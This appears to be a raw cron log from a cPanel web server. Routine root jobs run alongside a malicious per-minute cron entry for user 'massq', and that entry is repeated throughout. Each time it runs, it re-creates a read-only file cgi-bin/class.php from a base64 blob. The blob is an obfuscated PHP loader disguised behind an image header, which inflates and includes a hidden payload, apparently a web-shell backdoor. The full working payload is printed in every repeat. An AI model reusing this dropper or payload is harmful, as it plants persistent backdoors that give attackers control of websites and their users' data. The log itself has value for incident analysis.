Nov 12 00:10:01 server CROND[3126]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 00:10:01 server CROND[3128]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:10:01 server CROND[3127]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 00:11:01 server CROND[4080]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:12:01 server CROND[4896]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 00:12:01 server CROND[4898]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:13:01 server CROND[5766]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:14:01 server CROND[6585]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:15:01 server CROND[7404]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 12 00:15:01 server CROND[7407]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 12 00:15:01 server CROND[7408]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 00:15:01 server CROND[7410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 00:15:01 server CROND[7409]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:16:01 server CROND[8400]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:17:01 server CROND[9376]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:18:01 server CROND[10193]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:19:01 server CROND[11122]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:20:01 server CROND[11956]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 00:20:01 server CROND[11958]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:20:01 server CROND[11960]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 00:20:01 server CROND[11961]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 00:20:01 server CROND[11959]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 00:21:01 server CROND[12944]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 00:22:01 server CROND[13645]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
